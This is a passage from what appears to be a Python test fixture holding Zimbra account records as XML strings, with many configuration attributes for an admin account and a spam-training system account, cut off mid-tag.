n=\"zimbraArchiveAccountDateTemplate\">yyyyMMdd</a>\n <a n=\"zimbraInterceptSendHeadersOnly\">FALSE</a>\n <a n=\"zimbraMobilePolicyRequireEncryptionSMIMEAlgorithm\">0</a>\n <a n=\"zimbraPrefReadingPaneEnabled\">TRUE</a>\n <a n=\"zimbraFeatureFlaggingEnabled\">TRUE</a>\n <a n=\"zimbraFeatureContactsDetailedSearchEnabled\">FALSE</a>\n <a n=\"zimbraNotebookMaxRevisions\">0</a>\n <a n=\"zimbraPasswordMaxAge\">0</a>\n <a n=\"zimbraPrefSharedAddrBookAutoCompleteEnabled\">FALSE</a>\n <a n=\"zimbraJunkMessagesIndexingEnabled\">TRUE</a>\n <a n=\"zimbraPasswordMinLowerCaseChars\">0</a>\n <a n=\"zimbraMailForwardingAddressMaxLength\">4096</a>\n <a n=\"zimbraMailDumpsterLifetime\">30d</a>\n <a n=\"zimbraPrefAutoAddAddressEnabled\">TRUE</a>\n <a n=\"zimbraPrefIMFlashTitle\">TRUE</a>\n <a n=\"zimbraPrefAppleIcalDelegationEnabled\">FALSE</a>\n <a n=\"zimbraFeatureVoiceEnabled\">FALSE</a>\n <a n=\"zimbraFileExternalShareLifetime\">90d</a>\n <a n=\"zimbraFeatureVoiceChangePinEnabled\">TRUE</a>\n <a n=\"zimbraPrefOutOfOfficeStatusAlertOnLogin\">TRUE</a>\n <a n=\"zimbraFeatureReadReceiptsEnabled\">TRUE</a>\n <a n=\"zimbraSignatureMaxNumEntries\">20</a>\n <a n=\"zimbraPrefAutoSaveDraftInterval\">30s</a>\n <a n=\"zimbraMaxContactsPerPage\">100</a>\n <a n=\"zimbraPrefCalendarReminderFlashTitle\">TRUE</a>\n <a n=\"zimbraFeaturePeopleSearchEnabled\">TRUE</a>\n <a n=\"zimbraMobilePolicyDeviceEncryptionEnabled\">TRUE</a>\n <a n=\"zimbraPrefCalendarAlwaysShowMiniCal\">TRUE</a>\n <a n=\"zimbraPrefSearchTreeOpen\">TRUE</a>\n <a n=\"zimbraAdminSavedSearches\">Comptes externes : (zimbraIsExternalVirtualAccount=TRUE)</a>\n <a n=\"zimbraAdminSavedSearches\">Comptes en maintenance : (zimbraAccountStatus=*maintenance*)</a>\n <a n=\"zimbraAdminSavedSearches\">Comptes cl&#xF4;tur&#xE9;s : (zimbraAccountStatus=*closed*)</a>\n <a n=\"zimbraAdminSavedSearches\">Comptes verrouill&#xE9;s : (zimbraAccountStatus=*lockout*)</a>\n <a n=\"zimbraAdminSavedSearches\">Comptes non actifs : (!(zimbraAccountStatus=*active*))</a>\n <a n=\"zimbraAdminSavedSearches\">Comptes inactifs (30 jours) : (zimbraLastLogonTimestamp&lt;=###JSON:{func: ZaSearch.getTimestampByDays, args:[-30]}###)</a>\n <a n=\"zimbraAdminSavedSearches\">Comptes inactifs (90 jours) : (zimbraLastLogonTimestamp&lt;=###JSON:{func: ZaSearch.getTimestampByDays, args:[-90]}###)</a>\n <a n=\"zimbraAdminSavedSearches\">Comptes Admin : (|(zimbraIsAdminAccount=TRUE)(zimbraIsDelegatedAdminAccount=TRUE))</a>\n <a n=\"zimbraPrefColorMessagesEnabled\">FALSE</a>\n <a n=\"zimbraContactAutoCompleteMaxResults\">20</a>\n <a n=\"zimbraPrefCalendarReminderMobile\">FALSE</a>\n <a n=\"zimbraInterceptFrom\">Postmaster &lt;postmaster@${ACCOUNT_DOMAIN}&gt;</a>\n <a n=\"zimbraPrefCalendarApptReminderWarningTime\">5</a>\n <a n=\"zimbraIdentityMaxNumEntries\">20</a>\n <a n=\"zimbraMailThreadingAlgorithm\">references</a>\n <a n=\"zimbraFeatureDiscardInFiltersEnabled\">TRUE</a>\n <a n=\"zimbraFeatureNewMailNotificationEnabled\">TRUE</a>\n <a n=\"zimbraPrefContactsPerPage\">25</a>\n <a n=\"zimbraPrefIMInstantNotify\">TRUE</a>\n <a n=\"zimbraFeatureAdminMailEnabled\">TRUE</a>\n <a n=\"zimbraPrefPop3IncludeSpam\">FALSE</a>\n <a n=\"zimbraFeatureMailForwardingInFiltersEnabled\">TRUE</a>\n <a n=\"zimbraPrefIMIdleTimeout\">10</a>\n <a n=\"zimbraMailTrashLifetime\">30d</a>\n <a n=\"zimbraFeatureOptionsEnabled\">TRUE</a>\n <a n=\"zimbraPasswordLocked\">FALSE</a>\n <a n=\"zimbraPop3Enabled\">TRUE</a>\n <a n=\"zimbraId\">a0d269c8-39d0-454f-9bdb-6923f8a2be76</a>\n <a n=\"zimbraMobilePolicyRequireSignedSMIMEMessages\">0</a>\n <a n=\"zimbraContactEmailFields\">email,email2,email3,email4,email5,email6,email7,email8,email9,email10,workEmail1,workEmail2,workEmail3</a>\n <a n=\"zimbraMobilePolicyAllowRemoteDesktop\">1</a>\n <a n=\"zimbraWebClientShowOfflineLink\">TRUE</a>\n <a n=\"zimbraFilterSleepInterval\">1ms</a>\n <a n=\"zimbraMailQuota\">0</a>\n <a n=\"zimbraPrefPop3DeleteOption\">delete</a>\n <a n=\"zimbraMobilePolicyMaxEmailHTMLBodyTruncationSize\">-1</a>\n <a n=\"zimbraFeatureAdvancedSearchEnabled\">TRUE</a>\n <a n=\"zimbraMobilePolicyAllowSMIMEEncryptionAlgorithmNegotiation\">2</a>\n <a n=\"zimbraPrefZimletTreeOpen\">FALSE</a>\n <a n=\"zimbraAuthTokenLifetime\">2d</a>\n <a n=\"zimbraPrefComposeInNewWindow\">FALSE</a>\n <a n=\"zimbraPrefCalendarAllowPublishMethodInvite\">FALSE</a>\n <a n=\"zimbraFeatureGalEnabled\">TRUE</a>\n <a n=\"sn\">admin</a>\n <a n=\"zimbraMobilePolicyRequireSignedSMIMEAlgorithm\">0</a>\n <a n=\"zimbraFeatureInstantNotify\">TRUE</a>\n <a n=\"zimbraMobilePolicyRequireDeviceEncryption\">0</a>\n <a n=\"zimbraMailSignatureMaxLength\">10240</a>\n <a n=\"zimbraDumpsterPurgeEnabled\">TRUE</a>\n <a n=\"zimbraDumpsterEnabled\">FALSE</a>\n <a n=\"zimbraFeatureViewInHtmlEnabled\">FALSE</a>\n <a n=\"zimbraPrefUseKeyboardShortcuts\">TRUE</a>\n <a n=\"zimbraPrefUseRfc2231\">FALSE</a>\n <a n=\"zimbraPrefMailSelectAfterDelete\">next</a>\n <a n=\"zimbraPrefDedupeMessagesSentToSelf\">dedupeNone</a>\n <a n=\"zimbraDeviceAllowedPasscodeLockoutDuration\">10m</a>\n <a n=\"zimbraDeviceAllowedPasscodeLockoutDuration\">1m</a>\n <a n=\"zimbraDeviceAllowedPasscodeLockoutDuration\">2m</a>\n <a n=\"zimbraDeviceAllowedPasscodeLockoutDuration\">30m</a>\n <a n=\"zimbraDeviceAllowedPasscodeLockoutDuration\">5m</a>\n <a n=\"zimbraMailMinPollingInterval\">2m</a>\n <a n=\"zimbraPrefCalendarShowDeclinedMeetings\">TRUE</a>\n <a n=\"zimbraFeatureMAPIConnectorEnabled\">TRUE</a>\n <a n=\"zimbraPrefCalendarInitialView\">workWeek</a>\n <a n=\"zimbraAttachmentsBlocked\">FALSE</a>\n <a n=\"zimbraPrefUseTimeZoneListInCalendar\">FALSE</a>\n <a n=\"zimbraCalendarResourceDoubleBookingAllowed\">TRUE</a>\n <a n=\"zimbraFeatureIdentitiesEnabled\">TRUE</a>\n <a n=\"zimbraFeatureFreeBusyViewEnabled\">FALSE</a>\n <a n=\"zimbraPrefJunkLifetime\">0</a>\n <a n=\"zimbraPrefExternalSendersType\">ALL</a>\n <a n=\"zimbraPrefForwardReplyPrefixChar\">&gt;</a>\n <a n=\"zimbraExternalAccountLifetimeAfterDisabled\">30d</a>\n <a n=\"zimbraInterceptBody\">Intercepted message for ${ACCOUNT_ADDRESS}.${NEWLINE}Operation=${OPERATION}, folder=${FOLDER_NAME}, folder ID=${FOLDER_ID}.</a>\n <a n=\"zimbraCalendarShowResourceTabs\">TRUE</a>\n <a n=\"zimbraPasswordModifiedTime\">201<PASSWORD>45Z</a>\n <a n=\"zimbraMobileOutlookSyncEnabled\">TRUE</a>\n <a n=\"zimbraPrefFolderColorEnabled\">TRUE</a>\n <a n=\"zimbraLastLogonTimestamp\">20131119105741Z</a>\n <a n=\"zimbraPrefAdminConsoleWarnOnExit\">TRUE</a>\n <a n=\"zimbraFeatureNewAddrBookEnabled\">TRUE</a>\n <a n=\"zimbraPasswordMinLength\">6</a>\n <a n=\"zimbraMobilePolicyAllowHTMLEmail\">1</a>\n <a n=\"zimbraPrefCalendarSendInviteDeniedAutoReply\">FALSE</a>\n <a n=\"userPassword\">VALUE-BLOCKED</a>\n <a n=\"zimbraAttachmentsViewInHtmlOnly\">FALSE</a>\n <a n=\"zimbraPrefConvReadingPaneLocation\">bottom</a>\n <a n=\"zimbraPrefItemsPerVirtualPage\">50</a>\n <a n=\"zimbraMailPurgeUseChangeDateForTrash\">TRUE</a>\n <a n=\"zimbraPrefShowSelectionCheckbox\">FALSE</a>\n <a n=\"zimbraPrefSentLifetime\">0</a>\n <a n=\"zimbraFeatureOutOfOfficeReplyEnabled\">TRUE</a>\n <a n=\"zimbraFeatureMobilePolicyEnabled\">TRUE</a>\n <a n=\"zimbraFeatureDistributionListExpandMembersEnabled\">TRUE</a>\n <a n=\"zimbraFeatureBriefcasesEnabled\">FALSE</a>\n <a n=\"zimbraPrefGalAutoCompleteEnabled\">TRUE</a>\n <a n=\"zimbraPrefSentMailFolder\">sent</a>\n <a n=\"zimbraPrefSpellIgnoreAllCaps\">TRUE</a>\n <a n=\"zimbraPrefAdvancedClientEnforceMinDisplay\">TRUE</a>\n <a n=\"zimbraMobilePolicyDevicePasswordEnabled\">TRUE</a>\n <a n=\"zimbraMailMessageLifetime\">0</a>\n <a n=\"zimbraFeatureInitialSearchPreferenceEnabled\">TRUE</a>\n <a n=\"zimbraFeatureAntispamEnabled\">TRUE</a>\n <a n=\"zimbraInterceptSubject\">Intercepted message for ${ACCOUNT_ADDRESS}: ${MESSAGE_SUBJECT}</a>\n <a n=\"zimbraPrefIMLogChats\">TRUE</a>\n <a n=\"zimbraPrefCalendarAutoAddInvites\">TRUE</a>\n <a n=\"zimbraPrefInboxReadLifetime\">0</a>\n <a n=\"zimbraPrefShowSearchString\">FALSE</a>\n <a n=\"zimbraNotebookSanitizeHtml\">TRUE</a>\n <a n=\"zimbraFeatureCrocodocEnabled\">FALSE</a>\n <a n=\"zimbraFeatureIMEnabled\">FALSE</a>\n <a n=\"zimbraPrefForwardReplyInOriginalFormat\">TRUE</a>\n <a n=\"zimbraPrefDefaultPrintFontSize\">12pt</a>\n <a n=\"zimbraArchiveAccountNameTemplate\">${USER}-${DATE}@${DOMAIN}.archive</a>\n <a n=\"zimbraFeatureSignaturesEnabled\">TRUE</a>\n <a n=\"zimbraPasswordMinNumericChars\">0</a>\n <a n=\"zimbraFeatureCalendarEnabled\">TRUE</a>\n <a n=\"zimbraPrefClientType\">advanced</a>\n <a n=\"zimbraFeatureMailUpsellEnabled\">FALSE</a>\n <a n=\"zimbraMailHighlightObjectsMaxSize\">70</a>\n <a n=\"zimbraPrefMailRequestReadReceipts\">FALSE</a>\n <a n=\"zimbraFileUploadMaxSizePerFile\">2147483648</a>\n <a n=\"zimbraFeatureMobileSyncEnabled\">FALSE</a>\n <a n=\"zimbraPrefInboxUnreadLifetime\">0</a>\n <a n=\"zimbraExternalShareLifetime\">0</a>\n <a n=\"zimbraPrefMailSendReadReceipts\">never</a>\n <a n=\"zimbraFeatureSocialFiltersEnabled\">Facebook</a>\n <a n=\"zimbraFeatureSocialFiltersEnabled\">LinkedIn</a>\n <a n=\"zimbraFeatureSocialFiltersEnabled\">SocialCast</a>\n <a n=\"zimbraFeatureSocialFiltersEnabled\">Twitter</a>\n <a n=\"zimbraMobilePolicyMaxEmailAgeFilter\">2</a>\n <a n=\"zimbraQuotaWarnInterval\">1d</a>\n <a n=\"zimbraPrefAutoCompleteQuickCompletionOnComma\">TRUE</a>\n <a n=\"uid\">admin</a>\n <a n=\"zimbraMobilePolicyAllowUnsignedInstallationPackages\">1</a>\n <a n=\"zimbraFeatureExportFolderEnabled\">TRUE</a>\n <a n=\"zimbraDataSourceRssPollingInterval\">12h</a>\n <a n=\"zimbraCalendarMaxRevisions\">1</a>\n <a n=\"zimbraPrefHtmlEditorDefaultFontSize\">12pt</a>\n <a n=\"zimbraMobilePolicyAllowDesktopSync\">1</a>\n <a n=\"zimbraFeatureCalendarReminderDeviceEmailEnabled\">FALSE</a>\n <a n=\"zimbraPrefCalendarAllowForwardedInvite\">TRUE</a>\n <a n=\"zimbraFeatureBriefcaseDocsEnabled\">TRUE</a>\n <a n=\"zimbraPasswordMaxLength\">64</a>\n <a n=\"zimbraMobilePolicyAllowTextMessaging\">1</a>\n <a n=\"zimbraFilterBatchSize\">10000</a>\n <a n=\"zimbraMobilePolicyMaxDevicePasswordFailedAttempts\">4</a>\n <a n=\"zimbraPrefIncludeSpamInSearch\">FALSE</a>\n <a n=\"zimbraFeatureChangePasswordEnabled\">TRUE</a>\n <a n=\"zimbraFeatureMailEnabled\">TRUE</a>\n <a n=\"zimbraPrefMailItemsPerPage\">25</a>\n <a n=\"zimbraPrefReplyIncludeOriginalText\">includeBody</a>\n <a n=\"zimbraFeatureSMIMEEnabled\">FALSE</a>\n <a n=\"zimbraFeatureContactsUpsellEnabled\">FALSE</a>\n <a n=\"zimbraMobilePolicyMaxEmailBodyTruncationSize\">-1</a>\n <a n=\"zimbraPrefCalendarFirstDayOfWeek\">0</a>\n <a n=\"zimbraPrefMailInitialSearch\">in:inbox</a>\n <a n=\"zimbraPortalName\">example</a>\n <a n=\"zimbraFreebusyExchangeCachedInterval\">60d</a>\n <a n=\"zimbraPrefCalendarAllowCancelEmailToSelf\">FALSE</a>\n <a n=\"zimbraFeatureImportExportFolderEnabled\">TRUE</a>\n <a n=\"zimbraPrefCalendarReminderSoundsEnabled\">TRUE</a>\n <a n=\"zimbraPrefTrashLifetime\">0</a>\n <a n=\"zimbraMobilePolicyAllowSimpleDevicePassword\">FALSE</a>\n <a n=\"zimbraPrefCalendarDayHourEnd\">18</a>\n <a n=\"zimbraArchiveEnabled\">FALSE</a>\n <a n=\"zimbraFeatureOpenMailInNewWindowEnabled\">TRUE</a>\n <a n=\"zimbraZimletLoadSynchronously\">FALSE</a>\n <a n=\"zimbraPublicSharingEnabled\">TRUE</a>\n <a n=\"zimbraPrefIMSoundsEnabled\">TRUE</a>\n <a n=\"zimbraFeatureBriefcaseSpreadsheetEnabled\">FALSE</a>\n <a n=\"zimbraPrefMandatorySpellCheckEnabled\">FALSE</a>\n <a n=\"zimbraPrefIMIdleStatus\">away</a>\n <a n=\"zimbraDataSourceMinPollingInterval\">1m</a>\n <a n=\"zimbraPrefIMAutoLogin\">FALSE</a>\n <a n=\"zimbraPrefFileSharingApplication\">briefcase</a>\n <a n=\"zimbraMaxMailItemsPerPage\">100</a>\n <a n=\"zimbraFeatureManageZimlets\">TRUE</a>\n <a n=\"zimbraPasswordLockoutEnabled\">FALSE</a>\n <a n=\"zimbraPrefSortOrder\">BDLV:,CAL:,CLV:,CLV-main:dateDesc,CNS:,CNSRC:,CNTGT:,CV:,TKL:,TV:</a>\n <a n=\"zimbraPrefCalendarToasterEnabled\">FALSE</a>\n <a n=\"zimbraPrefCalendarApptVisibility\">public</a>\n <a n=\"zimbraPrefCalendarUseQuickAdd\">TRUE</a>\n <a n=\"zimbraFeatureComposeInNewWindowEnabled\">TRUE</a>\n </account>\n\"\"\"\n\nSYSTEM_ACCOUNT=\"\"\"\n<account id=\"95431bce-8953-4f26-a944-fdc11c83c212\" name=\"<EMAIL>\">\n <a n=\"zimbraMobilePolicyAllowUnsignedApplications\">1</a>\n <a n=\"zimbraPrefMailFlashTitle\">FALSE</a>\n <a n=\"zimbraMailForwardingAddressMaxNumAddrs\">100</a>\n <a n=\"zimbraMailStatus\">enabled</a>\n <a n=\"zimbraFeatureConversationsEnabled\">TRUE</a>\n <a n=\"zimbraPrefCalendarReminderYMessenger\">FALSE</a>\n <a n=\"zimbraMobilePolicyDevicePasswordHistory\">8</a>\n <a n=\"zimbraMobilePolicyAllowSMIMESoftCerts\">1</a>\n <a n=\"zimbraPrefDeleteInviteOnReply\">TRUE</a>\n <a n=\"zimbraAllowAnyFromAddress\">FALSE</a>\n <a n=\"zimbraMobilePolicyRequireManualSyncWhenRoaming\">0</a>\n <a n=\"zimbraPasswordLockoutMaxFailures\">10</a>\n <a n=\"zimbraPrefShortEmailAddress\">TRUE</a>\n <a n=\"zimbraMobileSmartForwardRFC822Enabled\">FALSE</a>\n <a n=\"zimbraPrefForwardIncludeOriginalText\">includeBody</a>\n <a n=\"zimbraContactAutoCompleteEmailFields\">email,email2,email3,workEmail1,workEmail2,workEmail3</a>\n <a n=\"zimbraPrefShowFragments\">TRUE</a>\n <a n=\"zimbraMobilePolicyMaxInactivityTimeDeviceLock\">15</a>\n <a n=\"zimbraPrefHtmlEditorDefaultFontFamily\">times new roman, new york, times, serif</a>\n <a n=\"zimbraMobilePolicyAllowIrDA\">1</a>\n <a n=\"zimbraPasswordMinAlphaChars\">0</a>\n <a n=\"zimbraMobilePolicyRequireEncryptedSMIMEMessages\">0</a>\n <a n=\"zimbraFeatureExternalFeedbackEnabled\">FALSE</a>\n <a n=\"zimbraPrefComposeFormat\">text</a>\n <a n=\"zimbraFeatureMailForwardingEnabled\">TRUE</a>\n <a n=\"zimbraCalendarCalDavSharedFolderCacheDuration\">1m</a>\n <a n=\"zimbraPrefCalendarReminderSendEmail\">FALSE</a>\n <a n=\"zimbraPrefContactsInitialView\">list</a>\n <a n=\"zimbraBatchedIndexingSize\">20</a>\n <a n=\"zimbraDeviceLockWhenInactive\">FALSE</a>\n <a n=\"zimbraPrefAutocompleteAddressBubblesEnabled\">TRUE</a>\n <a n=\"zimbraFeatureMailPollingIntervalPreferenceEnabled\">TRUE</a>\n <a n=\"zimbraPrefCalendarReminderDuration1\">-PT15M</a>\n <a n=\"zimbraFeatureTaggingEnabled\">TRUE</a>\n <a n=\"zimbraPrefIMReportIdle\">TRUE</a>\n <a n=\"zimbraFeaturePortalEnabled\">FALSE</a>\n <a n=\"zimbraPrefCalendarDefaultApptDuration\">60m</a>\n <a n=\"zimbraMobilePolicyAllowBrowser\">1</a>\n <a n=\"zimbraPrefWarnOnExit\">TRUE</a>\n <a n=\"zimbraMobilePolicyDevicePasswordExpiration\">0</a>\n <a n=\"zimbraAttachmentsIndexingEnabled\">FALSE</a>\n <a n=\"zimbraPrefGetMailAction\">default</a>\n <a n=\"zimbraPrefOutOfOfficeCacheDuration\">7d</a>\n <a n=\"zimbraExternalShareDomainWhitelistEnabled\">FALSE</a>\n <a n=\"zimbraPrefConversationOrder\">dateDesc</a>\n <a n=\"zimbraPrefIMHideBlockedBuddies\">FALSE</a>\n <a n=\"zimbraFeatureZimbraAssistantEnabled\">TRUE</a>\n <a n=\"zimbraPrefShowCalendarWeek\">FALSE</a>\n <a n=\"zimbraPrefAccountTreeOpen\">TRUE</a>\n <a n=\"zimbraMailWhitelistMaxNumEntries\">100</a>\n <a n=\"zimbraPrefIncludeTrashInSearch\">FALSE</a>\n <a n=\"zimbraMailHost\">zimbratest.example.com</a>\n <a n=\"zimbraMobilePolicyMinDevicePasswordLength\">4</a>\n <a n=\"zimbraFeatureSharingEnabled\">TRUE</a>\n <a n=\"zimbraPrefGalSearchEnabled\">TRUE</a>\n <a n=\"zimbraPrefIMHideOfflineBuddies\">FALSE</a>\n <a n=\"description\">System account for spam training.</a>\n <a n=\"zimbraPublicShareLifetime\">0</a>\n <a n=\"zimbraQuotaWarnPercent\">90</a>\n <a n=\"zimbraDumpsterUserVisibleAge\">30d</a>\n <a n=\"zimbraPrefConvShowCalendar\">FALSE</a>\n <a n=\"zimbraFeatureGroupCalendarEnabled\">TRUE</a>\n <a n=\"zimbraMobilePolicyAllowStorageCard\">1</a>\n <a n=\"zimbraFeatureMailPriorityEnabled\">TRUE</a>\n <a n=\"zimbraPrefFolderTreeOpen\">TRUE</a>\n <a n=\"zimbraGalSyncAccountBasedAutoCompleteEnabled\">TRUE</a>\n <a n=\"zimbraFeatureHtmlComposeEnabled\">TRUE</a>\n <a n=\"zimbraPrefCalendarDayHourStart\">8</a>\n <a n=\"cn\">spam.idnpkyqtc</a>\n <a n=\"zimbraFilePublicShareLifetime\">0</a>\n <a n=\"zimbraNewMailNotificationFrom\">Postmaster &lt;postmaster@${RECIPIENT_DOMAIN}&gt;</a>\n <a n=\"zimbraSpamApplyUserFilters\">FALSE</a>\n <a n=\"zimbraMobilePolicyAllowConsumerEmail\">1</a>\n <a n=\"zimbraDataSourceCalendarPollingInterval\">12h</a>\n <a n=\"zimbraPrefSaveToSent\">TRUE</a>\n <a n=\"zimbraFreebusyLocalMailboxNotActive\">FALSE</a>\n <a n=\"zimbraFeatureVoiceUpsellEnabled\">FALSE</a>\n <a n=\"zimbraDataSourceImportOnLogin\">FALSE</a>\n <a n=\"zimbraPrefIMLogChatsEnabled\">TRUE</a>\n <a n=\"zimbraSmtpRestrictEnvelopeFrom\">TRUE</a>\n <a n=\"zimbraFeatureManageSMIMECertificateEnabled\">FALSE</a>\n <a n=\"zimbraFeatureSavedSearchesEnabled\">TRUE</a>\n <a n=\"zimbraCalendarKeepExceptionsOnSeriesTimeChange\">FALSE</a>\n <a n=\"zimbraMobilePolicyPasswordRecoveryEnabled\">TRUE</a>\n <a n=\"mail\"><EMAIL></a>\n <a n=\"zimbraPrefCalendarNotifyDelegatedChanges\">FALSE</a>\n <a n=\"zimbraImapEnabled\">TRUE</a>\n <a n=\"zimbraContactMaxNumEntries\">10000</a>\n <a n=\"zimbraPrefMailSignatureStyle\">outlook</a>\n <a n=\"zimbraFeatureFiltersEnabled\">TRUE</a>\n <a n=\"zimbraNewMailNotificationBody\">New message received at ${RECIPIENT_ADDRESS}.${NEWLINE}Sender: ${SENDER_ADDRESS}${NEWLINE}Subject: ${SUBJECT}</a>\n <a n=\"zimbraFeatureBriefcaseSlidesEnabled\">FALSE</a>\n <a n=\"zimbraFeatureWebSearchEnabled\">TRUE</a>\n <a n=\"zimbraPrefMessageViewHtmlPreferred\">TRUE</a>\n <a n=\"zimbraMailTrustedSenderListMaxNumEntries\">500</a>\n <a n=\"zimbraPrefCalendarViewTimeInterval\">1h</a>\n <a n=\"zimbraMobilePolicyAllowInternetSharing\">1</a>\n <a n=\"zimbraPrefGroupMailBy\">conversation</a>\n <a n=\"zimbraPasswordMinUpperCaseChars\">0</a>\n <a n=\"zimbraPrefContactsExpandAppleContactGroups\">FALSE</a>\n <a n=\"zimbraFeatureContactsEnabled\">TRUE</a>\n <a n=\"zimbraExternalSharingEnabled\">TRUE</a>\n <a n=\"zimbraPrefImapSearchFoldersEnabled\">TRUE</a>\n <a n=\"objectClass\">inetOrgPerson</a>\n <a n=\"objectClass\">zimbraAccount</a>\n <a n=\"objectClass\">amavisAccount</a>\n <a n=\"zimbraPrefContactsDisableAutocompleteOnContactGroupMembers\">FALSE</a>\n <a n=\"zimbraFreebusyExchangeCachedIntervalStart\">7d</a>\n <a n=\"zimbraMailTransport\">lmtp:zimbratest.example.com:7025</a>\n <a n=\"zimbraFileAndroidCrashReportingEnabled\">TRUE</a>\n <a n=\"zimbraPrefVoiceItemsPerPage\">25</a>\n <a n=\"zimbraPrefIncludeSharedItemsInSearch\">FALSE</a>\n <a n=\"zimbraAdminAuthTokenLifetime\">12h</a>\n <a n=\"zimbraMailAllowReceiveButNotSendWhenOverQuota\">FALSE</a>\n <a n=\"zimbraMailPurgeUseChangeDateForSpam\">TRUE</a>\n <a n=\"zimbraMobilePolicyAllowWiFi\">1</a>\n <a n=\"zimbraMobilePolicyAllowPartialProvisioning\">TRUE</a>\n <a n=\"zimbraStandardClientCustomPrefTabsEnabled\">FALSE</a>\n <a n=\"zimbraMailSpamLifetime\">30d</a>\n <a n=\"zimbraPrefIMNotifyPresence\">TRUE</a>\n <a n=\"zimbraMobilePolicyAllowPOPIMAPEmail\">1</a>\n <a n=\"zimbraPrefOpenMailInNewWindow\">FALSE</a>\n <a n=\"zimbraPrefHtmlEditorDefaultFontColor\">#000000</a>\n <a n=\"zimbraMobileMetadataMaxSizeEnabled\">FALSE</a>\n <a n=\"zimbraDeviceFileOpenWithEnabled\">TRUE</a>\n <a n=\"zimbraMobilePolicyAllowBluetooth\">2</a>\n <a n=\"zimbraPrefTimeZoneId\">Europe/Berlin</a>\n <a n=\"zimbraPrefReadingPaneLocation\">right</a>\n <a n=\"zimbraPrefStandardClientAccessibilityMode\">FALSE</a>\n <a n=\"zimbraMailIdleSessionTimeout\">0</a>\n <a n=\"zimbraPrefMailFlashIcon\">FALSE</a>\n <a n=\"zimbraFileShareLifetime\">0</a>\n <a n=\"zimbraPrefMailToasterEnabled\">FALSE</a>\n <a n=\"zimbraFeaturePop3DataSourceEnabled\">TRUE</a>\n <a n=\"zimbraPasswordMinDigitsOrPuncs\">0</a>\n <a n=\"zimbraPasswordMinAge\">0</a>\n <a n=\"zimbraShareLifetime\">0</a>\n <a n=\"zimbraMaxVoiceItemsPerPage\">100</a>\n <a n=\"zimbraMailBlacklistMaxNumEntries\">100</a>\n <a n=\"zimbraPrefTagTreeOpen\">TRUE</a>\n <a n=\"zimbraFeatureSocialcastEnabled\">FALSE</a>\n <a n=\"zimbraMobilePolicyAllowNonProvisionableDevices\">TRUE</a>\n <a n=\"zimbraFeatureConfirmationPageEnabled\">FALSE</a>\n <a n=\"zimbraFeatureGalSyncEnabled\">TRUE</a>\n <a n=\"zimbraPrefMailSoundsEnabled\">FALSE</a>\n <a n=\"zimbraFeatureTasksEnabled\">TRUE</a>\n <a n=\"zimbraFeatureGalAutoCompleteEnabled\">TRUE</a>\n <a n=\"zimbraCreateTimestamp\">20131104090305Z</a>\n <a n=\"zimbraMobilePolicyAlphanumericDevicePasswordRequired\">FALSE</a>\n <a n=\"zimbraQuotaWarnMessage\">From: Postmaster &lt;postmaster@${RECIPIENT_DOMAIN}&gt;${NEWLINE}To: ${RECIPIENT_NAME} &lt;${RECIPIENT_ADDRESS}&gt;${NEWLINE}Subject: Quota warning${NEWLINE}Date: ${DATE}${NEWLINE}Content-Type: text/plain${NEWLINE}${NEWLINE}Your mailbox size has reached ${MBOX_SIZE_MB}MB, which is over ${WARN_PERCENT}% of your ${QUOTA_MB}MB quota.${NEWLINE}Please delete some messages to avoid exceeding your quota.${NEWLINE}</a>\n <a n=\"zimbraFeatureShortcutAliasesEnabled\">TRUE</a>\n <a n=\"zimbraFeatureCalendarUpsellEnabled\">FALSE</a>\n <a n=\"zimbraFileIOSCrashReportingEnabled\">TRUE</a>\n <a n=\"zimbraFeatureMailSendLaterEnabled\">FALSE</a>\n <a n=\"zimbraFeatureFromDisplayEnabled\">TRUE</a>\n <a n=\"zimbraPrefBriefcaseReadingPaneLocation\">right</a>\n <a n=\"zimbraFeatureImapDataSourceEnabled\">TRUE</a>\n <a n=\"zimbraPasswordLockoutDuration\">1h</a>\n <a n=\"zimbraMobilePolicyRefreshInterval\">1440</a>\n <a n=\"zimbraPasswordMinPunctuationChars\">0</a>\n <a n=\"zimbraMobilePolicyMaxCalendarAgeFilter\">4</a>\n <a n=\"zimbraFeatureDistributionListFolderEnabled\">TRUE</a>\n <a n=\"zimbraPrefMarkMsgRead\">0</a>\n <a n=\"zimbraMobilePolicyAllowCamera\">1</a>\n <a n=\"zimbraDataSourceMaxNumEntries\">20</a>\n <a n=\"zimbraFeatureImportFolderEnabled\">TRUE</a>\n <a n=\"zimbraDevicePasscodeEnabled\">FALSE</a>\n <a n=\"zimbraIMService\">zimbra</a>\n <a n=\"zimbraContactRankingTableSize\">200</a>\n <a n=\"zimbraFeaturePriorityInboxEnabled\">TRUE</a>\n <a n=\"zimbraPrefSkin\">serenity</a>\n <a n=\"zimbraAccountStatus\">active</a>\n <a n=\"zimbraPasswordLockoutFailureLifetime\">1h</a>\n <a n=\"zimbraDeviceOfflineCacheEnabled\">FALSE</a>\n <a n=\"zimbraPrefMessageIdDedupingEnabled\">TRUE</a>\n <a n=\"zimbraNewMailNotificationSubject\">New message received at ${RECIPIENT_ADDRESS}</a>\n <a n=\"zimbraPrefIMNotifyStatus\">TRUE</a>\n <a n=\"zimbraPrefMailPollingInterval\">5m</a>\n <a n=\"zimbraPrefDisplayExternalImages\">FALSE</a>\n <a n=\"zimbraPrefShowComposeDirection\">FALSE</a>\n <a n=\"zimbraPrefCalendarWorkingHours\">1:N:0800:1700,2:Y:0800:1700,3:Y:0800:1700,4:Y:0800:1700,5:Y:0800:1700,6:Y:0800:1700,7:N:0800:1700</a>\n <a n=\"zimbraPrefTasksReadingPaneLocation\">right</a>\n <a n=\"zimbraMailDeliveryAddress\"><EMAIL></a>\n <a n=\"zimbraPrefCalendarShowPastDueReminders\">TRUE</a>\n <a n=\"zimbraMobilePolicyMinDevicePasswordComplexCharacters\">0</a>\n <a n=\"zimbraSignatureMinNumEntries\">1</a>\n <a n=\"zimbraPasswordEnforceHistory\">0</a>\n <a n=\"zimbraPrefIMFlashIcon\">TRUE</a>\n <a n=\"zimbraFeatureSkinChangeEnabled\">TRUE</a>\n <a n=\"zimbraFeatureNotebookEnabled\">FALSE</a>\n <a n=\"zimbraMobilePolicySuppressDeviceEncryption\">FALSE</a>\n <a n=\"zimbraSyncWindowSize\">0</a>\n <a n=\"zimbraPrefIMToasterEnabled\">FALSE</a>\n <a n=\"zimbraZimletAvailableZimlets\">!com_zimbra_email</a>\n <a n=\"zimbraZimletAvailableZimlets\">!com_zimbra_url</a>\n <a n=\"zimbraZimletAvailableZimlets\">!com_zimbra_date</a>\n <a 